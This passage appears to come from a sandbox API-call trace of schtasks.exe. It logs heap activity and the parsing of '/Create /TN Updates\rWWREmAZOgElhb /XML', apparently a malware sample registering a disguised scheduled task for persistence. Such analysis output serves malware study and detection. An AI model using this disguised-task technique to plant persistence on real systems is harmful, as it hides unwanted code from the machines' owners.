RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416868 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416888 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x4173f8 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4165e0 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416600 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416620 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x412788 [0206.383] SetThreadUILanguage (LangId=0x0) returned 0x409 [0206.707] RtlRestoreLastWin32Error () returned 0x0 [0206.707] GetProcessHeap () returned 0x410000 [0206.707] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419598 [0206.707] GetProcessHeap () returned 0x410000 [0206.707] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4196b8 [0206.708] GetProcessHeap () returned 0x410000 [0206.708] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4196d8 [0206.708] GetProcessHeap () returned 0x410000 [0206.708] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4196f8 [0206.708] GetProcessHeap () returned 0x410000 [0206.708] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419718 [0206.708] GetProcessHeap () returned 0x410000 [0206.708] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417350 [0206.708] _memicmp (_Buf1=0x417350, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.708] GetProcessHeap () returned 0x410000 [0206.708] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x208) returned 0x418d30 [0206.708] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418d30, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0206.708] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xdfb04 | out: lpdwHandle=0xdfb04) returned 0x76c [0206.724] GetProcessHeap () returned 0x410000 [0206.724] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x776) returned 0x419e08 [0206.725] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x419e08 | out: lpData=0x419e08) returned 1 [0206.725] VerQueryValueW (in: pBlock=0x419e08, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdfb0c, puLen=0xdfb10 | out: lplpBuffer=0xdfb0c*=0x41a1b8, puLen=0xdfb10) returned 1 [0206.729] _memicmp (_Buf1=0x417350, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.729] _vsnwprintf (in: _Buffer=0x418d30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdfaf0 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0206.730] VerQueryValueW (in: pBlock=0x419e08, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdfb1c, puLen=0xdfb18 | out: lplpBuffer=0xdfb1c*=0x419fe8, puLen=0xdfb18) returned 1 [0206.730] lstrlenW (lpString="schtasks.exe") returned 12 [0206.730] lstrlenW (lpString="schtasks.exe") returned 12 [0206.730] lstrlenW (lpString=".EXE") returned 4 [0206.730] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0206.731] lstrlenW (lpString="schtasks.exe") returned 12 [0206.731] lstrlenW (lpString=".EXE") returned 4 [0206.731] _memicmp (_Buf1=0x417350, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.731] lstrlenW (lpString="schtasks") returned 8 [0206.731] GetProcessHeap () returned 0x410000 [0206.731] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4193d8 [0206.731] GetProcessHeap () returned 0x410000 [0206.731] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419738 [0206.731] GetProcessHeap () returned 0x410000 [0206.731] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419418 [0206.731] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419618 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417320 [0206.732] _memicmp (_Buf1=0x417320, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0xa0) returned 0x418f40 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4193b8 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4195d8 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419678 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417338 [0206.732] _memicmp (_Buf1=0x417338, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.732] GetProcessHeap () returned 0x410000 [0206.732] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x200) returned 0x41a7e8 [0206.733] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x41a7e8, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0206.733] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0206.733] GetProcessHeap () returned 0x410000 [0206.733] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x30) returned 0x412590 [0206.733] _vsnwprintf (in: _Buffer=0x418f40, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdfaf4 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0206.733] GetProcessHeap () returned 0x410000 [0206.733] GetProcessHeap () returned 0x410000 [0206.734] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419e08) returned 1 [0206.734] GetProcessHeap () returned 0x410000 [0206.734] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419e08) returned 0x776 [0206.734] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419e08) returned 1 [0206.734] RtlRestoreLastWin32Error () returned 0x0 [0206.734] GetThreadLocale () returned 0x409 [0206.734] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.734] lstrlenW (lpString="?") returned 1 [0206.734] GetThreadLocale () returned 0x409 [0206.734] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="create") returned 6 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="delete") returned 6 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="query") returned 5 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="change") returned 6 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="run") returned 3 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="end") returned 3 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] lstrlenW (lpString="showsid") returned 7 [0206.735] GetThreadLocale () returned 0x409 [0206.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.735] RtlRestoreLastWin32Error () returned 0x0 [0206.735] RtlRestoreLastWin32Error () returned 0x0 [0206.735] lstrlenW (lpString="/Create") returned 7 [0206.735] lstrlenW (lpString="-/") returned 2 [0206.735] StrChrIW (lpStart="-/", wMatch=0x77002f) returned="/" [0206.735] lstrlenW (lpString="?") returned 1 [0206.735] lstrlenW (lpString="?") returned 1 [0206.735] GetProcessHeap () returned 0x410000 [0206.736] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417488 [0206.736] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.736] GetProcessHeap () returned 0x410000 [0206.736] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0xa) returned 0x417428 [0206.736] lstrlenW (lpString="Create") returned 6 [0206.736] GetProcessHeap () returned 0x410000 [0206.736] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417440 [0206.736] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.736] GetProcessHeap () returned 0x410000 [0206.736] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x4195b8 [0206.736] _vsnwprintf (in: _Buffer=0x417428, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|?|") returned 3 [0206.736] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|Create|") returned 8 [0206.736] lstrlenW (lpString="|?|") returned 3 [0206.736] lstrlenW (lpString="|Create|") returned 8 [0206.736] RtlRestoreLastWin32Error () returned 0x490 [0206.736] lstrlenW (lpString="create") returned 6 [0206.736] lstrlenW (lpString="create") returned 6 [0206.736] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.736] GetProcessHeap () returned 0x410000 [0206.736] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417428) returned 1 [0206.736] GetProcessHeap () returned 0x410000 [0206.736] RtlReAllocateHeap (Heap=0x410000, Flags=0xc, Ptr=0x417428, Size=0x14) returned 0x419638 [0206.736] lstrlenW (lpString="Create") returned 6 [0206.737] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.737] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|create|") returned 8 [0206.737] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|Create|") returned 8 [0206.737] lstrlenW (lpString="|create|") returned 8 [0206.737] lstrlenW (lpString="|Create|") returned 8 [0206.737] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0206.737] RtlRestoreLastWin32Error () returned 0x0 [0206.737] RtlRestoreLastWin32Error () returned 0x0 [0206.737] RtlRestoreLastWin32Error () returned 0x0 [0206.737] lstrlenW (lpString="/TN") returned 3 [0206.737] lstrlenW (lpString="-/") returned 2 [0206.737] StrChrIW (lpStart="-/", wMatch=0x77002f) returned="/" [0206.737] lstrlenW (lpString="?") returned 1 [0206.737] lstrlenW (lpString="?") returned 1 [0206.737] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.737] lstrlenW (lpString="TN") returned 2 [0206.737] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.737] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|?|") returned 3 [0206.737] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.737] lstrlenW (lpString="|?|") returned 3 [0206.737] lstrlenW (lpString="|TN|") returned 4 [0206.737] RtlRestoreLastWin32Error () returned 0x490 [0206.737] lstrlenW (lpString="create") returned 6 [0206.738] lstrlenW (lpString="create") returned 6 [0206.738] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.738] lstrlenW (lpString="TN") returned 2 [0206.738] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.738] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|create|") returned 8 [0206.738] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.738] lstrlenW (lpString="|create|") returned 8 [0206.738] lstrlenW (lpString="|TN|") returned 4 [0206.738] StrStrIW (lpFirst="|create|", lpSrch="|TN|") returned 0x0 [0206.738] RtlRestoreLastWin32Error () returned 0x490 [0206.738] lstrlenW (lpString="delete") returned 6 [0206.738] lstrlenW (lpString="delete") returned 6 [0206.738] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.738] lstrlenW (lpString="TN") returned 2 [0206.738] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.738] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|delete|") returned 8 [0206.738] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.738] lstrlenW (lpString="|delete|") returned 8 [0206.738] lstrlenW (lpString="|TN|") returned 4 [0206.738] StrStrIW (lpFirst="|delete|", lpSrch="|TN|") returned 0x0 [0206.738] RtlRestoreLastWin32Error () returned 0x490 [0206.738] lstrlenW (lpString="query") returned 5 [0206.738] lstrlenW (lpString="query") returned 5 [0206.738] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.739] lstrlenW (lpString="TN") returned 2 [0206.739] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.739] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|query|") returned 7 [0206.739] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.739] lstrlenW (lpString="|query|") returned 7 [0206.739] lstrlenW (lpString="|TN|") returned 4 [0206.739] StrStrIW (lpFirst="|query|", lpSrch="|TN|") returned 0x0 [0206.739] RtlRestoreLastWin32Error () returned 0x490 [0206.739] lstrlenW (lpString="change") returned 6 [0206.739] lstrlenW (lpString="change") returned 6 [0206.739] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.739] lstrlenW (lpString="TN") returned 2 [0206.739] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.739] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|change|") returned 8 [0206.739] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.739] lstrlenW (lpString="|change|") returned 8 [0206.739] lstrlenW (lpString="|TN|") returned 4 [0206.739] StrStrIW (lpFirst="|change|", lpSrch="|TN|") returned 0x0 [0206.739] RtlRestoreLastWin32Error () returned 0x490 [0206.739] lstrlenW (lpString="run") returned 3 [0206.739] lstrlenW (lpString="run") returned 3 [0206.739] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.740] lstrlenW (lpString="TN") returned 2 [0206.740] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.740] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|run|") returned 5 [0206.740] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.740] lstrlenW (lpString="|run|") returned 5 [0206.740] lstrlenW (lpString="|TN|") returned 4 [0206.740] StrStrIW (lpFirst="|run|", lpSrch="|TN|") returned 0x0 [0206.740] RtlRestoreLastWin32Error () returned 0x490 [0206.740] lstrlenW (lpString="end") returned 3 [0206.740] lstrlenW (lpString="end") returned 3 [0206.740] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.740] lstrlenW (lpString="TN") returned 2 [0206.740] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.740] _vsnwprintf (in: _Buffer=0x419638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|end|") returned 5 [0206.740] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.740] lstrlenW (lpString="|end|") returned 5 [0206.740] lstrlenW (lpString="|TN|") returned 4 [0206.740] StrStrIW (lpFirst="|end|", lpSrch="|TN|") returned 0x0 [0206.740] RtlRestoreLastWin32Error () returned 0x490 [0206.740] lstrlenW (lpString="showsid") returned 7 [0206.740] lstrlenW (lpString="showsid") returned 7 [0206.740] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.740] GetProcessHeap () returned 0x410000 [0206.740] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419638) returned 1 [0206.740] GetProcessHeap () returned 0x410000 [0206.740] RtlReAllocateHeap (Heap=0x410000, Flags=0xc, Ptr=0x419638, Size=0x16) returned 0x419698 [0206.740] lstrlenW (lpString="TN") returned 2 [0206.740] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.741] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|showsid|") returned 9 [0206.741] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|TN|") returned 4 [0206.741] lstrlenW (lpString="|showsid|") returned 9 [0206.741] lstrlenW (lpString="|TN|") returned 4 [0206.741] StrStrIW (lpFirst="|showsid|", lpSrch="|TN|") returned 0x0 [0206.741] RtlRestoreLastWin32Error () returned 0x490 [0206.741] RtlRestoreLastWin32Error () returned 0x490 [0206.741] RtlRestoreLastWin32Error () returned 0x0 [0206.741] lstrlenW (lpString="/TN") returned 3 [0206.741] StrChrIW (lpStart="/TN", wMatch=0x3a) returned 0x0 [0206.741] RtlRestoreLastWin32Error () returned 0x490 [0206.741] RtlRestoreLastWin32Error () returned 0x0 [0206.741] lstrlenW (lpString="/TN") returned 3 [0206.741] GetProcessHeap () returned 0x410000 [0206.741] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x8) returned 0x416c78 [0206.741] GetProcessHeap () returned 0x410000 [0206.741] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419378 [0206.741] RtlRestoreLastWin32Error () returned 0x0 [0206.741] RtlRestoreLastWin32Error () returned 0x0 [0206.741] lstrlenW (lpString="Updates\\rWWREmAZOgElhb") returned 22 [0206.741] lstrlenW (lpString="-/") returned 2 [0206.741] StrChrIW (lpStart="-/", wMatch=0x770055) returned 0x0 [0206.741] RtlRestoreLastWin32Error () returned 0x490 [0206.741] RtlRestoreLastWin32Error () returned 0x490 [0206.741] RtlRestoreLastWin32Error () returned 0x0 [0206.741] lstrlenW (lpString="Updates\\rWWREmAZOgElhb") returned 22 [0206.741] StrChrIW (lpStart="Updates\\rWWREmAZOgElhb", wMatch=0x3a) returned 0x0 [0206.741] RtlRestoreLastWin32Error () returned 0x490 [0206.741] RtlRestoreLastWin32Error () returned 0x0 [0206.742] lstrlenW (lpString="Updates\\rWWREmAZOgElhb") returned 22 [0206.742] GetProcessHeap () returned 0x410000 [0206.742] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x2e) returned 0x416590 [0206.742] GetProcessHeap () returned 0x410000 [0206.742] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419638 [0206.742] RtlRestoreLastWin32Error () returned 0x0 [0206.742] RtlRestoreLastWin32Error () returned 0x0 [0206.742] lstrlenW (lpString="/XML") returned 4 [0206.742] lstrlenW (lpString="-/") returned 2 [0206.742] StrChrIW (lpStart="-/", wMatch=0x77002f) returned="/" [0206.742] lstrlenW (lpString="?") returned 1 [0206.742] lstrlenW (lpString="?") returned 1 [0206.742] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.742] lstrlenW (lpString="XML") returned 3 [0206.742] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.742] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|?|") returned 3 [0206.742] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.742] lstrlenW (lpString="|?|") returned 3 [0206.742] lstrlenW (lpString="|XML|") returned 5 [0206.742] RtlRestoreLastWin32Error () returned 0x490 [0206.742] lstrlenW (lpString="create") returned 6 [0206.742] lstrlenW (lpString="create") returned 6 [0206.743] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.743] lstrlenW (lpString="XML") returned 3 [0206.743] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.743] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|create|") returned 8 [0206.743] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.743] lstrlenW (lpString="|create|") returned 8 [0206.743] lstrlenW (lpString="|XML|") returned 5 [0206.743] StrStrIW (lpFirst="|create|", lpSrch="|XML|") returned 0x0 [0206.743] RtlRestoreLastWin32Error () returned 0x490 [0206.743] lstrlenW (lpString="delete") returned 6 [0206.743] lstrlenW (lpString="delete") returned 6 [0206.743] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.743] lstrlenW (lpString="XML") returned 3 [0206.743] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.743] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|delete|") returned 8 [0206.743] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.743] lstrlenW (lpString="|delete|") returned 8 [0206.743] lstrlenW (lpString="|XML|") returned 5 [0206.743] StrStrIW (lpFirst="|delete|", lpSrch="|XML|") returned 0x0 [0206.743] RtlRestoreLastWin32Error () returned 0x490 [0206.743] lstrlenW (lpString="query") returned 5 [0206.743] lstrlenW (lpString="query") returned 5 [0206.743] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.743] lstrlenW (lpString="XML") returned 3 [0206.743] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.743] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|query|") returned 7 [0206.744] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.744] lstrlenW (lpString="|query|") returned 7 [0206.744] lstrlenW (lpString="|XML|") returned 5 [0206.744] StrStrIW (lpFirst="|query|", lpSrch="|XML|") returned 0x0 [0206.744] RtlRestoreLastWin32Error () returned 0x490 [0206.744] lstrlenW (lpString="change") returned 6 [0206.744] lstrlenW (lpString="change") returned 6 [0206.744] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.744] lstrlenW (lpString="XML") returned 3 [0206.744] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.744] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|change|") returned 8 [0206.744] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.744] lstrlenW (lpString="|change|") returned 8 [0206.744] lstrlenW (lpString="|XML|") returned 5 [0206.744] StrStrIW (lpFirst="|change|", lpSrch="|XML|") returned 0x0 [0206.744] RtlRestoreLastWin32Error () returned 0x490 [0206.744] lstrlenW (lpString="run") returned 3 [0206.744] lstrlenW (lpString="run") returned 3 [0206.744] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.744] lstrlenW (lpString="XML") returned 3 [0206.744] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.744] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|run|") returned 5 [0206.744] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.744] lstrlenW (lpString="|run|") returned 5 [0206.744] lstrlenW (lpString="|XML|") returned 5 [0206.744] StrStrIW (lpFirst="|run|", lpSrch="|XML|") returned 0x0 [0206.745] RtlRestoreLastWin32Error () returned 0x490 [0206.745] lstrlenW (lpString="end") returned 3 [0206.745] lstrlenW (lpString="end") returned 3 [0206.745] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.745] lstrlenW (lpString="XML") returned 3 [0206.745] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.745] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|end|") returned 5 [0206.745] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.745] lstrlenW (lpString="|end|") returned 5 [0206.745] lstrlenW (lpString="|XML|") returned 5 [0206.745] StrStrIW (lpFirst="|end|", lpSrch="|XML|") returned 0x0 [0206.745] RtlRestoreLastWin32Error () returned 0x490 [0206.745] lstrlenW (lpString="showsid") returned 7 [0206.745] lstrlenW (lpString="showsid") returned 7 [0206.745] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.745] lstrlenW (lpString="XML") returned 3 [0206.745] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.745] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|showsid|") returned 9 [0206.745] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdfae0 | out: _Buffer="|XML|") returned 5 [0206.745] lstrlenW (lpString="|showsid|") returned 9 [0206.746] lstrlenW (lpString="|XML|") returned 5 [0206.746] StrStrIW (lpFirst="|showsid|", lpSrch="|XML|") returned 0x0 [0206.746] RtlRestoreLastWin32Error () returned 0x490 [0206.746] RtlRestoreLastWin32Error () returned 0x490 [0206.746] RtlRestoreLastWin32Error () returned 0x0 [0206.746] lstrlenW (lpString="/XML") returned 4 [0206.746] StrChrIW (lpStart="/XML", wMatch=0x3a) returned 0x0 [0206.746] 